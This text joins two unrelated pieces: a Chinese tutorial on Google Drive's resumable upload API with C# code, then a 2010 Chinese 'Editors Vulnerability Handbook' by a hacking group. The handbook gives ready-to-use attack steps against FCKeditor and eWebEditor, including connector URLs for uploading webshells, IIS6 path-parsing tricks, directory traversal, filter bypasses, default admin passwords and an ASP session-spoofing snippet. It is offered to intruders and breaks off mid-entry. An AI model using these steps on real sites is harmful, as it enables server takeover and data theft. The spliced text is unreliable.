使⽤可恢复上传的步骤包括: 1. 开始⼀个可恢复的会话 :向包含 /upload/ 的 URL 发起请求,如果有元数据,则⼀并发送。 2. 保存可恢复会话 URI :保存初始请求响应中返回的会话 URI;后续的请求将会⽤到该会话 URL。 3. 上传⽂件 :将⽂档数据发送到可恢复会话 URI。 此外,使⽤可恢复上传的应⽤程序需要⽤⾃定义代码来实现恢复中断的上传。如果上传中断,则需要获 取上传了多少数据,然后从该点继续上传。 注意:可恢复会话 URI 会在申请的⼀周后过期。 要启动可恢复上传,需要向包含 /upload/ 的 URI 发出 POST 或 PUT 请求,并添加查询参数 uploa dType=resumable ,例如: 对于这个请求,要嘛 body 为空,要嘛 body 只能包含元数据。在获取会话 URL 后,再传输要上传的实 际数据。 在该请求中,需要使⽤以下 Http 标头: X-Upload-Content-Typ :设置为后续请求中要传输的数据的 MIME 类型。 4.3 使⽤ Resumable 上传类型 4.3.1 启动可恢复会话 ● C# 复制代码 POST https://www.googleapis.com/upload/drive/v3/files? uploadType=resumable 1 15 X-Upload-Content-Length :设置为在后续请求中传输的上传数据的字节数。如果在此请 求时⻓度未知,则可以省略此标头。 Content-Type :如果提供元数据,则根据元数据的数据类型设置。 Content-Length :设置为此初始请求的正⽂中提供的字节数。如果您使⽤分块传输编码, 则不需要。 更多内容请参阅 API 参考,了解每种⽅法的可接受数据MIME 类型列表和上传⽂件的⼤⼩限制。 下⾯的示例显示了 Drive API 的分段上传请求。 注意:对于没有元数据的初始可恢复更新请求,请将请求正⽂留空,并将 Content-Length 标头设 置为 0。 如果会话发起请求成功,API 服务器会返回 200 OK HTTP 状态码。此外,它还提供了⼀个 Location 标头,⽤于指定可恢复会话 URI。Location 标头(如下例所示)包含⼀个 upload_id 查 询参数部分,该部分提供⽤于此会话的唯⼀上传 ID。 ● ● ● 4.3.2 保存可恢复会话 URL C# 复制代码 POST /upload/drive/v3/files?uploadType=resumable HTTP/1.1 Host: www.googleapis.com Authorization: Bearer your_auth_token X-Upload-Content-Type: application/octet-stream Content-Type: application/json; charset=UTF-8 {  "name": "MyFile.txt" } 1 2 3 4 5 6 7 8 9 16 响应中的 Location 就是要使⽤的会话 URL 要上传⽂件,请向您在上⼀步中获取的上传 URI 发送 PUT 请求。上传请求的格式为: 发出可恢复⽂件上传请求时使⽤的 HTTP 标头包括 Content-Length。将此设置为您在此请求中 上传的字节数,通常是上传⽂件的⼤⼩。 顺利的话,⽂件就上传成功了。 如果上传请求在收到响应之前被终⽌了,或者收到的响应是 Http 503 Service Unavailable , 这种情况下则需要恢复中断的上传。当然你想重新传也就不说你了。 4.3.3 上传⽂件 4.4 恢复中断的上传 C# 复制代码 HTTP/1.1 200 OK X-GUploader-UploadID: ADPycduZG09xS2QEPGcpK56akP854bIgImU8tuADltGvy9OAf7Z21tOsJI00tmN8_LPiQCOo_ sh4x_dLSlMAX1hkrgI Vary: Origin,X-Origin Pragma: no-cache Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Content-Length: 0 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Content-Type: text/plain; charset=utf-8 Date: Tue, 29 Mar 2022 03:35:47 GMT Expires: Mon, 01 Jan 1990 00:00:00 GMT Location: https://www.googleapis.com/upload/drive/v3/files? uploadType=resumable&upload_id=ADPycduZG09xS2QEPGcpK56akP854bIgImU8tuADlt Gvy9OAf7Z21tOsJI00tmN8_LPiQCOo_sh4x_dLSlMAX1hkrgI Server: UploadServer 1 2 3 4 5 6 7 8 9 10 11 12 C# 复制代码 PUT session_uri 1 17 恢复中断的上传的步骤包括: 1. 状态查询 :通过向会话 URL发出⼀个 PUT 请求来查询所传⽂件的当前状态 2. 获取上传的字节数 :处理来⾃状态查询的响应 3. 上传剩余数据 :在获取已上传的字节数之后,重新读取⽂件,获取后续内容继续上传 PS:获取当前所传输⽂件的状态,这个数据也可以⽤来展示上传进度。 对于此请求,HTTP 标头应包含⼀个 Content-Range 标头,指示⽂件中的当前位置未知。例 如,如果要上传的⽂件总⻓度为 2,000,000,请将 Content-Range 设置为 */2000000 。如果不 知道⽂件的⼤⼩,则请将 Content-Range 设置为 */* 。 这个数是获取 4.4.1 的响应得到的。 通过以下请求发送⽂件的剩余字节(从 43bytes 开始)来恢复上传。 4.4.1 状态查询 4.4.2 获取上传的字节数 4.4.3 上传剩余数据 C# 复制代码 PUT {session_uri} HTTP/1.1 Content-Length: 0 Content-Range: bytes */2000000 1 2 3 C# 复制代码 HTTP/1.1 308 Resume Incomplete Content-Length: 0 Range: 0-42 1 2 3 18 0x05 代码实现上传功能 5.1 获取 Access Token 实现 C# 复制代码 PUT {session_uri} HTTP/1.1 Content-Length: 1999957 Content-Range: bytes 43-1999999/2000000 bytes 43-1999999 1 2 3 4 5 19 5.2 上传功能实现 C# 复制代码 /// <summary> /// 通过刷新令牌获取新的访问令牌 /// </summary> static string GetAccessToken() {    string token = string.Empty;    string url = "https://accounts.google.com/o/oauth2/token";    string httpBody = string.Format("refresh_token={0}&client_id= {1}&client_secret={2}&grant_type=refresh_token",                                    HttpUtility.UrlEncode(refresh_token),                                    HttpUtility.UrlEncode(client_id),                                    HttpUtility.UrlEncode(client_secret)                                   );    HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);    request.Method = "POST";    request.ContentType = "application/x-www-form-urlencoded";    using (var writer = new StreamWriter(request.GetRequestStream()))   {        writer.Write(httpBody);   }    HttpWebResponse response = (HttpWebResponse)request.GetResponse();    using (var reader = new StreamReader(response.GetResponseStream()))   {        string result = reader.ReadToEnd();        token = Options.JosnDictionary(result)["access_token"];   }    return token; } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 20 C# 复制代码 // GoogleDrive API URL ⼊⼝点列表 static Hashtable driveAPI = new Hashtable() {   {"uploadFile", "https://www.googleapis.com/upload/drive/v3/files/? uploadType=resumable" }, }; public void ResumableUploadFile(string upload_id, byte[] data) {    // 这⾥也可以直接传⼊ Location 的值。    string url = driveAPI["uploadFile"].ToString() + $"&upload_id= {upload_id}";    webClient.Headers["Content-Type"] = "application/octet-stream";    try   {        byte[] responseArray = webClient.UploadData(url, "PUT", data);        Console.WriteLine(Encoding.UTF8.GetString(responseArray));   }    catch (WebException ex)   {        HttpWebResponse responseEx = ex.Response as HttpWebResponse;        using (var reader = new StreamReader(responseEx.GetResponseStream()))       {            string result = reader.ReadToEnd();            Console.WriteLine("Exception: {0}", result);       }   } } public string GetUploadID(string filename) {    string upload_id = string.Empty;    webClient.Headers["Content-Type"] = "application/json; charset=UTF- 8";    webClient.Headers["X-Upload-Content-Type"] = "application/octet- stream";    string body = $@" {{ ""name"": ""{filename}"", ""description"": ""Stuff about the file"" }} "; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 21 后续的恢复中断的上传部分就不展示了。⾃⾏发挥即可 使⽤ OAuth 2.0 访问 Google API 授权 上传⽂件 https://developers.google.com/drive/api/v2/reference/files/insert#examples https://github.com/advanced-rest-client/api-resource-example- document/blob/master/demo/google-drive-api/docs/upload-files.md 0x06 参考    try   {        byte[] responseArray = webClient.UploadData(driveAPI["uploadFile"].ToString(), Encoding.UTF8.GetBytes(body));        WebHeaderCollection webHeaderCollection = webClient.ResponseHeaders;        foreach (var header in webHeaderCollection.AllKeys)       {            if (header.Equals("X-GUploader-UploadID"))                upload_id = webHeaderCollection.Get(header); break;       }   }    catch (WebException ex)   {        HttpWebResponse responseEx = ex.Response as HttpWebResponse;        using (var reader = new StreamReader(responseEx.GetResponseStream()))       {            string result = reader.ReadToEnd();            Console.WriteLine("Exception: {0}", result);       }   }    return upload_id; } 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
pdf
Editors Vulnerability Handbook • Version 0.0.6 • Summary Editors Update Description #Include {FCKeditor} 2010/04/10 "_"真不是那么好绕 的~~望高手飞过告 知 #Include {eWebEditor} 2010/02/13 你是否跟我一样讨厌 此物的精简版? #Include {Cuteditor} 2009/11/29 #Include {Freetextbox} 2009/11/29 #Include {Webhtmleditor} 2009/11/29 经过参考诸多资料- 证实此物已终止更新 #Include {Kindeditor} 2009/11/29 v3.4 已经开始 以$Date命名文件名 #Include {eWebEditorNET} 2009/11/29 Aspx版 eWebEditor #Include {southidceditor} 2009/11/29 基于eWebEditor v2.8商业版Kernel #Include {bigcneditor} 2009/11/29 基于eWebEditor v2.8商业版Kernel • Note 创建这样一个文档是为了能够使得众多需要得到帮助的人们,在她 们最为困苦之时找到为自己点亮的那盏明灯,虽然这将揭示了某个寂静黑 夜下一群躁动不安的人群.他们在享受快感,享受H4ck W0r|d带给他们 的一切. 作为收集整理此文的修订者,我-怀着无比深邃的怨念参考了诸多资料才 使得此物最终诞生,在此感谢整理过程中所有施舍帮助于我的人们.愿他 们幸福快乐,虎年如意! *非常希望各位能够与我联系,一并完成本文的创作。 • Redactor [北洋贱队@Bbs.SecEye.Org ~]# MIAO、猪 猪哥 哥靓 靓、Hell-Phantom、Liange、Fjhh、GxM、Sn4k3! …… • Contact GPL License GPL License - 北洋贱队公约 - 北洋贱队公约 FCKeditor.....................................................................7 FCKeditor编辑器页/查看编辑器版本/查看文件上传路径 ............ 7 FCKeditor被动限制策略所导致的过滤不严问题 ....................... 8 利用2003路径解析漏洞上传网马 ........................................ 8 FCKeditor PHP上传任意文件漏洞....................................... 9 FCKeditor JSP上传文件路径............................................. 9 TYPE自定义变量任意上传文件漏洞...................................... 9 FCKeditor 新闻组件遍历目录漏洞 .................................... 10 FCKeditor 暴路径漏洞 .................................................. 10 FCKeditor中webshell的其他上传方式 ............................... 10 FCKeditor 文件上传“.”变“_”下划线的绕过方法 .................... 10 eWebEditor ................................................................11 eWebEditor利用基础知识 .............................................. 11 eWebEditor踩脚印式入侵 .............................................. 12 eWebEditor遍历目录漏洞 .............................................. 12 eWebEditor 5.2 列目录漏洞 .......................................... 13 利用WebEditor session欺骗漏洞,进入后台......................... 13 eWebEditor asp版 2.1.6 上传漏洞.................................. 13 eWebEditor 2.7.0 注入漏洞 .......................................... 13 eWebEditor2.8.0最终版删除任意文件漏洞 ......................... 13 eWebEditor v6.0.0 上传漏洞......................................... 14 eWebEditor PHP/ASP…后台通杀漏洞............................... 14 eWebEditor for php任意文件上传漏洞.............................. 14 eWebEditor JSP版漏洞................................................. 14 eWebEditor 2.8 商业版插一句话木马 ............................... 15 eWebEditorNet upload.aspx 上传漏洞(WebEditorNet)....... 15 southidceditor(一般使用v2.8.0版eWeb核心) .................... 15 bigcneditor(eWeb 2.7.5 VIP核心) ................................. 15 Cute Editor.................................................................16 Cute Editor在线编辑器本地包含漏洞................................. 16 Webhtmleditor...........................................................16 利用WIN 2003 IIS文件名称解析漏洞获得SHELL.................. 16 Kindeditor..................................................................16 利用WIN 2003 IIS文件名称解析漏洞获得SHELL.................. 16 Freetextbox ...............................................................17 Freetextbox遍历目录漏洞 ............................................. 17 附录 附录A: :........................................................................17 附录 附录B: :........................................................................18 附录 附录C: :........................................................................18 • GPL License …… 虽然出于原意本人并不想为难大家阅读如此沉长的Notification But …… 智慧是众人的,至少要保证他人的利益不受侵犯! 这是一种尊重、一种渴求真知的态度! 我们虽不代表正义 但也并非乌合 /*************************************************************************** * Copyright (C) 2010 by 北洋贱队 * * [email protected] * * * * 本文当是个自由文档; * * * * 你可以对本文当有如下操作 * * 可自由复制 * * 你可以将文档复制到你的或者你客户的电脑,或者任何地方; * * 复制份数没有任何限制。 * * * * 可自由分发 * * 在你的网站提供下载,拷贝到U盘送人,或者将源代码打印出 * * 来从窗户扔出去(环保起见,请别这样做)。 * * * * 可以用来盈利 * * 你可以在分发软件的时候收费,但你必须在收费前向你的客 * * 户提供该软件的 GNU GPL 许可协议,以便让他们知道,他 * * 们可以从别的渠道免费得到这份软件,以及你收费的理由。 * * * * 可自由修改 * * 如果你想添加或删除某个功能,没问题,如果你想在别的项目 * * 中使用部分代码,也没问题,唯一的要求是,使用了这段代码的项 * * 目也必须使用 GPL 协议。 * * 修改的时候请对本文当引用部分注明出处 * * * * 推荐使用Chrome浏览器或类Chrome内核浏览器阅读本文 * * 对由IE给您带来的阅读障碍深表遗憾 * ***************************************************************************/ 有关复制,发布和修改的条款和条件 有关复制,发布和修改的条款和条件 First. 此许可证适用于任何包含版权所有者声明的程序和其他作品,版权所有者在 声明中明确说明程序和作品可以在GPL条款的约束下发布。下面提到的“程序” 指的是任何这样的程序或作品。而“基于程序的作品”指的是程序或者任何受版 权法约束的衍生作品。也就是说包含程序或程序的一部分的作品。可以是原封不 动的,或经过修改的和/或翻译成其他语言的(程序)。在下文中,翻译包含在 修改的条款中。每个许可证接受人(licensee)用你来称呼。 许可证条款不适用于复制,发布和修改以外的活动。这些活动超出这些条款 的范围。运行程序的活动不受条款的限止。仅当程序的输出构成基于程序作品的 内容时,这一条款才适用(如果只运行程序就无关)。是否普遍适用取决于程序 具体用来做什么。 Firstly. 只要你在每一副本上明显和恰当地出版版权声明和不承担担保的声明,保持 此许可证的声明和没有担保的声明完整无损,并和程序一起给每个其他的程序接 受者一份许可证的副本,你就可以用任何媒体复制和发布你收到的原始的程序的 源代码。 你可以为转让副本的实际行动收取一定费用。你也有权选择提供担保以换取 一定的费用。 Secondly. 你可以修改程序的一个或几个副本或程序的任何部分,以此形成基于程序 的 作品。只要你同时满足下面的所有条件,你就可以按前面第一款的要求复制和发 布这一经过修改的程序或作品。 a) 你必须在修改的文件中附有明确的说明:你修改了这一文件及具体的修 改日期。 b) 你必须使你发布或出版的作品(它包含程序的全部或一部分,或包含由 程序的全部或部分衍生的作品)允许第三方作为整体按许可证条款免费使用。 c) 如果修改的程序在运行时以交互方式读取命令,你必须使它在开始进入 常规的交互使用方式时打印或显示声明:包括适当的版权声明和没有担保的声明 (或者你提供担保的声明);用户可以按此许可证条款重新发布程序的说明;并 告诉用户如何看到这一许可证的副本。(例外的情况:如果原始程序以交互方式 工作,它并不打印这样的声明,你的基于程序的作品也就不用打印声明)。 这些要求适用于修改了的作品的整体。如果能够确定作品的一部分并非程序 的衍生产品,可以合理地认为这部分是独立的,是不同的作品。当你将它作为独 立作品发布时,它不受此许可证和它的条款的约束。但是当你将这部分作为基于 程序的作品的一部分发布时,作为整体它将受到许可证条款约束。准予其他许可 证持有人的使用范围扩大到整个产品。也就是每个部分,不管它是谁写的。 因此,本条款的意图不在于索取权利;或剥夺全部由你写成的作品的权利。 而是履行权利来控制基于程序的集体作品或衍生作品的发布。 此外,将与程序无关的作品和该程序或基于程序的作品一起放在存贮体或发 布媒体的同一卷上,并不导致将其他作品置于此许可证的约束范围之内。 Thirdly. 你可以以目标码或可执行形式复制或发布程序(或符合第2款的基于程序的 作品),只要你遵守前面的第1,2款,并同时满足下列3条中的1条。 a)在通常用作软件交换的媒体上,和目标码一起附有机器可读的完整的源 码。这些源码的发布应符合上面第1,2款的要求。或者 b)在通常用作软件交换的媒体上,和目标码一起,附有给第三方提供相应 的机器可读的源码的书面报价。有效期不少于3年,费用不超过实际完成源程序 发布的实际成本。源码的发布应符合上面的第1,2款的要求。或者 c)和目标码一起,附有你收到的发布源码的报价信息。(这一条款只适用 于非商业性发布,而且你只收到程序的目标码或可执行代码和按b)款要求提供 的报价)。 作品的源码指的是对作品进行修改最优先择取的形式。对可执行的作品讲, 完整的源码包括:所有模块的所有源程序,加上有关的接口的定义,加上控制可 执行作品的安装和编译的script。作为特殊例外,发布的源码不必包含任何常规 发布的供可执行代码在上面运行的操作系统的主要组成部分(如编译程序,内核 等)。除非这些组成部分和可执行作品结合在一起。 如果采用提供对指定地点的访问和复制的方式发布可执行码或目标码,那么 ,提供对同一地点的访问和复制源码可以算作源码的发布,即使第三方不强求与 目标码一起复制源码。 Fourthly. 除非你明确按许可证提出的要求去做,否则你不能复制,修改,转发许可 证 和发布程序。任何试图用其他方式复制,修改,转发许可证和发布程序是无效的 。而且将自动结束许可证赋予你的权利。然而,对那些从你那里按许可证条款得 到副本和权利的人们,只要他们继续全面履行条款,许可证赋予他们的权利仍然 有效。 Fifthly. 你没有在许可证上签字,因而你没有必要一定接受这一许可证。然而,没有 任何其他东西赋予你修改和发布程序及其衍生作品的权利。如果你不接受许可证 ,这些行为是法律禁止的。因此,如果你修改或发布程序(或任何基于程序的作 品),你就表明你接受这一许可证以及它的所有有关复制,发布和修改程序或基 于程序的作品的条款和条件。 Sixthly. 每当你重新发布程序(或任何基于程序的作品)时,接受者自动从原始许可 证颁发者那里接到受这些条款和条件支配的复制,发布或修改程序的许可证。你 不可以对接受者履行这里赋予他们的权利强加其他限制。你也没有强求第三方履 行许可证条款的义务。 Seventhly. 如果由于法院判决或违反专利的指控或任何其他原因(不限于专利问 题)的 结果,强加于你的条件(不管是法院判决,协议或其他)和许可证的条件有冲突 。他们也不能用许可证条款为你开脱。在你不能同时满足本许可证规定的义务及 其他相关的义务时,作为结果,你可以根本不发布程序。例如,如果某一专利许 可证不允许所有那些直接或间接从你那里接受副本的人们在不付专利费的情况下 重新发布程序,唯一能同时满足两方面要求的办法是停止发布程序。 如果本条款的任何部分在特定的环境下无效或无法实施,就使用条款的其余 部分。并将条款作为整体用于其他环境。 本条款的目的不在于引诱你侵犯专利或其他财产权的要求,或争论这种要求 的有效性。本条款的主要目的在于保护自由软件发布系统的完整性。它是通过通 用公共许可证的应用来实现的。许多人坚持应用这一系统,已经为通过这一系统 发布大量自由软件作出慷慨的供献。作者/捐献者有权决定他/她是否通过任何 其他系统发布软件。许可证持有人不能强制这种选择。 本节的目的在于明确说明许可证其余部分可能产生的结果。 Eighth. 如果由于专利或者由于有版权的接口问题使程序在某些国家的发布和使用受 到限止,将此程序置于许可证约束下的原始版权拥有者可以增加限止发布地区的 条款,将这些国家明确排除在外。并在这些国家以外的地区发布程序。在这种情 况下,许可证包含的限止条款和许可证正文一样有效。 Ninthly. 自由软件基金会可能随时出版通用公共许可证的修改版或新版。新版和当前 的版本在原则上保持一致,但在提到新问题时或有关事项时,在细节上可能出现 差别。 每一版本都有不同的版本号。如果程序指定适用于它的许可证版本号以及“ 任何更新的版本”。你有权选择遵循指定的版本或自由软件基金会以后出版的新 版本,如果程序未指定许可证版本,你可选择自由软件基金会已经出版的任何版 本。 Tenthly. 如果你愿意将程序的一部分结合到其他自由程序中,而它们的发布条件不 同。写信给作者,要求准予使用。如果是自由软件基金会加以版权保护的软件, 写信给自由软件基金会。我们有时会作为例外的情况处理。我们的决定受两个主 要目标的指导。这两个主要目标是:我们的自由软件的衍生作品继续保持自由状 态。以及从整体上促进软件的共享和重复利用。 没有担保 Eleventhly. 由于程序准予免费使用,在适用法准许的范围内,对程序没有担保。除 非 另有书面说明,版权所有者和/或其他提供程序的人们“一样”不提供任何类型 的担保。不论是明确的,还是隐含的。包括但不限于隐含的适销和适合特定用途 的保证。全部的风险,如程序的质量和性能问题都由你来承担。如果程序出现缺 陷,你承担所有必要的服务,修复和改正的费用。 Twelfthly. 除非适用法或书面协议的要求,在任何情况下,任何版权所有者或任何按 许可证条款修改和发布程序的人们都不对你的损失负有任何责任。包括由于使用 或不能使用程序引起的任何一般的,特殊的,偶然发生的或重大的损失(包括但 不限于数据的损失,或者数据变得不精确,或者你或第三方的持续的损失,或者 程序不能和其他程序协调运行等)。即使版权所有者和其他人提到这种损失的可 能性也不例外。 最后的条款和条件 ********************************************************************* 本文当用于收集各类编辑器漏洞利用、描述等细节 版权所有(C) 2010 <北洋贱队> ********************************************************************* FCKeditor FCKeditor编辑器页 编辑器页/查看编辑器版本 查看编辑器版本/查看文件上传路径 查看文件上传路径 FCKeditor编辑器页 编辑器页 FCKeditor/_samples/default.html 查看 查看编辑器版本 编辑器版本 FCKeditor/_whatsnew.html 查看文件上传路径 查看文件上传路径 fckeditor/editor/filemanager/browser/default/connectors/asp/ connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ XML页面中第二行 页面中第二行 “ “url=/xxx”的部分就是默认基准上传路径 ”的部分就是默认基准上传路径 Note:[Hell1]截至2010年02月15日最新版本为FCKeditor v2.6.6 [Hell2]记得修改其中两处asp为FCKeditor实际使用的脚本语言 FCKeditor被动限制策略所导致的过滤不严问题 被动限制策略所导致的过滤不严问题 影响版本 影响版本: FCKeditor x.x <= FCKeditor v2.4.3 脆弱描述: 脆弱描述: FCKeditor v2.4.3中File类别默认拒绝上传类 型:html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc| pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm Fckeditor 2.0 <= 2.2允许上传asa、cer、php2、php4、inc、pwml、pht后缀的文件 上传后 它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使 用$sExtension为后缀 直接导致在win下在上传文件后面加个.来突破[未测试 未测试] 而在apache下,因为"Apache文件名解析缺陷漏洞 文件名解析缺陷漏洞"也可以利用之,详见"附录A" 另建议其他上传漏洞中定义TYPE变量时使用File类别来上传文件,根据FCKeditor的代码,其限制最 为狭隘。 攻击利用 攻击利用: 允许其他任何后缀上传 Note:[Hell1]原作:http://superhei.blogbus.com/logs/2006/02/1916091.html 利用 利用2003路径解析漏洞上传网马 路径解析漏洞上传网马 影响版本 影响版本:: 附录 附录BB 脆弱描述: 脆弱描述: 利用2003系统路径解析漏洞的原理,创建类似“bin.asp”如此一般的目录,再在此 目录中上传文件即可被脚本解释器以相应脚本权限执行。 攻击利用 攻击利用:: fckeditor/editor/filemanager/browser/default/ browser.html?Type=Image&Connector=connectors/asp/connector.asp 强制建立shell.asp目录: 强制建立shell.asp目录: FCKeditor/editor/filemanager/connectors/asp/ connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/ shell.asp&NewFolderName=z&uuid=1244789975684 or FCKeditor/editor/filemanager/browser/default/connectors/asp/ connector.asp?Command=CreateFolder&CurrentFolder=/ &Type=Image&NewFolderName=shell.asp Note:[`Sn4k3!]这个我也不知道咯,有些时候,手动不行,代码就是能成功, 囧。 FCKeditor PHP上传任意文件漏洞 上传任意文件漏洞 影响版本: 影响版本: FCKeditor 2.2 <= FCKeditor 2.4.2 脆弱描述: 脆弱描述: FCKeditor在处理文件上传时存在输入验证错误,远程攻击可以利用此漏洞上传任意 文件。 在通过editor/filemanager/upload/php/upload.php上传文件时攻击者可以通过为 Type参数定义无效的值导致上传任意脚本。 成功攻击要求config.php配置文件中启用文件上传,而默认是禁用的。攻击利用 成功攻击要求config.php配置文件中启用文件上传,而默认是禁用的。攻击利用: (请 修改action字段为指定网址): FCKeditor 《=2.4.2 for php.html Note:如想尝试v2.2版漏洞,则修改Type=任意值 即可,但注意,如果换回使用 Media则必须大写首字母M,否则LINUX下,FCKeditor会对文件目录进行文件名校 验,不会上传成功的。 FCKeditor JSP上传文件路径 上传文件路径 影响版本: 影响版本:FCKeditor JSP版 攻击利用: 攻击利用: FCKeditor/editor/filemanager/browser/default/ browser.html?Type=Image&Connector=connectors/jsp/connector TYPE自定义变量任意上传文件漏洞 自定义变量任意上传文件漏洞 影响版本 影响版本: 较早版本 脆弱描述: 脆弱描述: 通过自定义Type变量的参数,可以创建或上传文件到指定的目录中去,且没有上传文件格 式的限制。 攻击利用: /FCKeditor/editor/filemanager/browser/default/ browser.html?Type=all&Connector=connectors/asp/connector.asp 打开这个地址就可以上传任何类型的文件了,Shell上传到的默认位置是: http://www.URL.com/UserFiles/all/1.asp "Type=all" 这个变量是自定义的,在这里创建了all这个目录,而且新的目录没有上传文件 格式的限制. 比如输入: /FCKeditor/editor/filemanager/browser/default/browser.html?Type=../ &Connector=connectors/asp/connector.asp 网马就可以传到网站的根目录下. Note:如找不到默认上传文件夹可检查此文件: fckeditor/editor/filemanager/ browser/default/connectors/asp/ connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ FCKeditor 新闻组件遍历目录漏洞 新闻组件遍历目录漏洞 影响版本 影响版本:Aspx与JSP版FCKeditor 脆弱描述: 脆弱描述:如何获得webshell请参考上文“TYPE自定义变量任意上传文件漏洞” 攻击利用 攻击利用: 修改CurrentFolder参数使用 ../../来进入不同的目录 /browser/default/connectors/aspx/ connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../ ..%2F&NewFolderName=aspx.asp 根据返回的XML信息可以查看网站所有的目录。 /browser/default/connectors/aspx/ connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F /browser/default/connectors/jsp/ connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F FCKeditor 暴路径漏洞 暴路径漏洞 影响版本: 影响版本:aspx版FCKeditor 攻击利用: 攻击利用: FCKeditor/editor/filemanager/browser/default/connectors/aspx/ connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/ 1.asp FCKeditor中 中webshell的其他上传方式 的其他上传方式 影响版本 影响版本:非优化/精简版本的FCKeditor 脆弱描述: 脆弱描述: 如果存在以下文件,打开后即可上传文件。 攻击利用 攻击利用: fckeditor/editor/filemanager/upload/test.html fckeditor/editor/filemanager/browser/default/connectors/test.html fckeditor/editor/filemanager/connectors/test.html fckeditor/editor/filemanager/connectors/uploadtest.html FCKeditor 文件上传 文件上传“.”变 变“_”下划线的绕过方法 下划线的绕过方法 影响版本 影响版本: FCKeditor => 2.4.x 脆弱描述: 脆弱描述: 我们上传的文件例如:shell.php.rar或shell.php;.jpg会变为shell_php;.jpg这是 新版FCK的变化。 攻击利用 攻击利用: 提交1.php+空格 就可以绕过去所有的, ※不过空格只支持win系统 *nix是不支持的[1.php和1.php+空格是2个不同的文 件] Note:http://pstgroup.blogspot.com/2007/05/tipsfckeditor.html [附 附]FCKeditor 二次上传问题 二次上传问题 影响版本 影响版本:=>2.4.x的最新版已修补 脆弱描述 脆弱描述: 来源:T00LS.Net 由于Fckeditor对第一次上传123.asp;123.jpg 这样的格式做了过滤。也就是IIS6 解析漏洞。 上传第一次。被过滤为123_asp;123.jpg 从而无法运行。 但是第2次上传同名文件123.asp;123.jpg后。由于”123_asp;123.jpg”已经存 在。 文件名被命名为123.asp;123(1).jpg …… 123.asp;123(2).jpg这样的编号方式。 所以。IIS6的漏洞继续执行了。 如果通过上面的步骤进行测试没有成功,可能有以下几方面的原因: 如果通过上面的步骤进行测试没有成功,可能有以下几方面的原因: 1.FCKeditor没有开启文件上传功能 没有开启文件上传功能,这项功能在安装FCKeditor时默认是关闭 默认是关闭的。 如果想上传文件,FCKeditor会给出错误提示。 2.网站采用了精简版的 精简版的FCKeditor,精简版的FCKeditor很多功能丢失,包括文件上 传功能。 3.FCKeditor的这个漏洞已经被修复 漏洞已经被修复。 eWebEditor eWebEditor利用基础知识 利用基础知识 默认后台地址:/ewebeditor/admin_login.asp 建议最好检测下admin_style.asp文件是否可以直接访问 默认数据库路径:[PATH]/db/ewebeditor.mdb [PATH]/db/db.mdb -- 某些CMS里是这个数据库 也可尝试 [PATH]/db/%23ewebeditor.mdb -- 某些管理员自作聪明的小伎 俩 使用默认密码:admin/admin888 或 admin/admin 进入后台,也可尝试 admin/ 123456 (有些管理员以及一些CMS,就是这么设置的) 点击“样式管理”--可以选择新增样式,或者修改一个非系统样式,将其中图片控件所 允许的上传类型后面加上|asp、|asa、|aaspsp或|cer,只要是服务器允许执行的 脚本类型即可,点击“提交”并设置工具栏--将“插入图片”控件添加上。而后--预览此 样式,点击插入图片,上传WEBSHELL,在“代码”模式中查看上传文件的路径。 2、当数据库被管理员修改为asp、asa后缀的时候,可以插一句话木马服务端进入数 据库,然后一句话木马客户端连接拿下webshell 3、上传后无法执行?目录没权限?帅锅你回去样式管理看你编辑过的那个样式,里 面可以自定义上传路径的!!! 4、设置好了上传类型,依然上传不了麽?估计是文件代码被改了,可以尝试设定“远 程类型”依照6.0版本拿SHELL的方法来做(详情见下文↓),能够设定自动保存远程 文件的类型。 5、不能添加工具栏,但设定好了某样式中的文件类型,怎么办?↓这么办! (请修改action字段) Action.html eWebEditor踩脚印式入侵 踩脚印式入侵 脆弱描述: 脆弱描述: 当我们下载数据库后查询不到密码MD5的明文时,可以去看看 webeditor_style(14)这个样式表,看看是否有前辈入侵过 或许已经赋予了某控件 上传脚本的能力,构造地址来上传我们自己的WEBSHELL. 攻击利用 攻击利用: 比如 ID=46 s-name =standard1 构造 代码: ewebeditor.asp?id=content&style=standard ID和和样式名改过后 ewebeditor.asp?id=46&style=standard1 eWebEditor遍历目录漏洞 遍历目录漏洞 脆弱描述: 脆弱描述: ewebeditor/admin_uploadfile.asp admin/upload.asp 过滤不严,造成遍历目录漏洞 攻击利用 攻击利用: 第一种:ewebeditor/admin_uploadfile.asp?id=14 在id=14后面添加&dir=.. 再加 &dir=../.. &dir=http://www.****.com/../.. 看到整个网站文件了 第二种: ewebeditor/admin/upload.asp?id=16&d_viewmode=&dir =./.. eWebEditor 5.2 列目录漏洞 列目录漏洞 脆弱描述: 脆弱描述: ewebeditor/asp/browse.asp 过滤不严,造成遍历目录漏洞 攻击利用: 攻击利用: http://www.****.com/ewebeditor/asp/ browse.asp?style=standard650&dir=…././/.. 利用 利用WebEditor session欺骗漏洞 欺骗漏洞,进入后台 进入后台 脆弱描述: 脆弱描述: 漏洞文件:Admin_Private.asp 只判断了session,没有判断cookies和路径的验证问题。 攻击利用 攻击利用: 新建一个test.asp内容如下: <%Session("eWebEditor_User") = "11111111"%> 访问test.asp,再访问后台任何文件,for example:Admin_Default.asp eWebEditor asp版 版 2.1.6 上传漏洞 上传漏洞 攻击利用 